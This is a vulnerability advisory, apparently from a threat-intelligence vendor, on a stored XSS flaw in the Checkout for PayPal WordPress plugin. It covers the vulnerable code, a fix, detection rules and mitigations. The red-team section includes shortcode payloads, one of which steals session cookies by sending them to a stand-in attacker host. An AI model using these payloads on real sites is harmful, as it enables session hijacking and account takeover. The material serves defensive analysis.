CVE-2024-13398
Executive Summary
CVE-2024-13398 is a Stored Cross-Site Scripting (XSS) vulnerability in the Checkout for PayPal WordPress plugin, affecting all versions up to and including 1.0.32. The flaw resides in the checkout_for_paypal shortcode, where user-supplied attributes are not properly sanitized or escaped. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity via checksums and monitor for updates. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
- Threat Level: Medium – Exploitation requires authenticated access but can lead to session hijacking, defacement, or phishing.
Deep Dive & Mechanics
The vulnerability exists in the checkout_for_paypal shortcode handler. The plugin fails to sanitize and escape user-supplied attributes (e.g., title, description, button_text) before rendering them in the HTML output. An attacker with contributor-level access can create or edit a post/page containing the shortcode with malicious JavaScript payloads in these attributes. When the page is viewed, the payload executes in the context of the victim’s browser.
Root Cause: Insufficient input validation and output escaping in the shortcode callback function.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates a new post or page and inserts the
[checkout_for_paypal]shortcode with malicious attributes. - The plugin stores the payload in the database.
- When any user (including admins) visits the page, the payload executes.
Vulnerable vs. Patched Code
Vulnerable Code (version <= 1.0.32):
// In shortcode handler
function checkout_for_paypal_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'description' => '',
'button_text' => 'Pay Now'
), $atts);
// Direct output without escaping
$output = '<div class="checkout-paypal">';
$output .= '<h3>' . $atts['title'] . '</h3>';
$output .= '<p>' . $atts['description'] . '</p>';
$output .= '<button>' . $atts['button_text'] . '</button>';
$output .= '</div>';
return $output;
}
Patched Code (hypothetical fix):
function checkout_for_paypal_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => '',
'description' => '',
'button_text' => 'Pay Now'
), $atts);
// Properly escape output
$output = '<div class="checkout-paypal">';
$output .= '<h3>' . esc_html($atts['title']) . '</h3>';
$output .= '<p>' . esc_html($atts['description']) . '</p>';
$output .= '<button>' . esc_html($atts['button_text']) . '</button>';
$output .= '</div>';
return $output;
}
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit exists, the following demonstrates the vulnerability in a lab environment.
Prerequisites:
- WordPress installation with Checkout for PayPal plugin <= 1.0.32
- Contributor-level account
Steps:
- Log in as a contributor.
- Create a new post and switch to Text/Code editor.
- Insert the following shortcode:
[checkout_for_paypal title="<script>alert('XSS')</script>" description="Test" button_text="Click"] - Publish the post.
- Visit the post as any user – the JavaScript alert executes.
Advanced Payload (session hijacking):
[checkout_for_paypal title="<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>" description="Test" button_text="Click"]
Blue Team (Detection & Hardening)
- Web Application Firewall (WAF): Block requests containing
<script>oronerrorin shortcode attributes. - Input Validation: Implement server-side validation to reject HTML tags in shortcode attributes.
- Content Security Policy (CSP): Add
script-src 'self'to prevent inline script execution. - User Education: Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File Hashes (plugin files):
checkout-for-paypal.php(SHA256):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example – replace with actual)
- Database Entries: Posts/pages containing
[checkout_for_paypalwith suspicious attributes. - Network Traffic: Outbound requests to attacker-controlled domains from WordPress admin pages.
- Logs:
wp-content/debug.logentries showing unescaped output.
Detection Engineering
YARA Rule
rule CVE_2024_13398_Checkout_PayPal_XSS {
meta:
description = "Detects vulnerable Checkout for PayPal plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-13398"
strings:
$vuln_func = /shortcode_atts\s*\([^)]*\)\s*\{[^}]*\$atts\s*\[/
$unsafe_output = /<h3>' \. \$atts\['title'\]/
condition:
$vuln_func and $unsafe_output
}
Sigma Rule
title: CVE-2024-13398 - Stored XSS via Checkout for PayPal Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts/pages via the checkout_for_paypal shortcode
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains: "checkout_for_paypal"
http.body|contains:
- "<script>"
- "onerror="
- "onload="
condition: selection
falsepositives:
- Legitimate use of JavaScript in shortcode attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-13398 - Stored XSS via Checkout for PayPal"; flow:to_server,established; content:"checkout_for_paypal"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the Checkout for PayPal plugin until a patch is available.
- Workaround: Implement a custom filter to sanitize shortcode attributes:
add_filter('shortcode_atts_checkout_for_paypal', function($out, $pairs, $atts) { foreach ($out as $key => $value) { $out[$key] = esc_html($value); } return $out; }, 10, 3); - Long-term: Replace the plugin with an actively maintained alternative (e.g., WooCommerce PayPal Payments).
- Monitoring: Review WordPress logs for suspicious shortcode usage and escalate to incident response.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.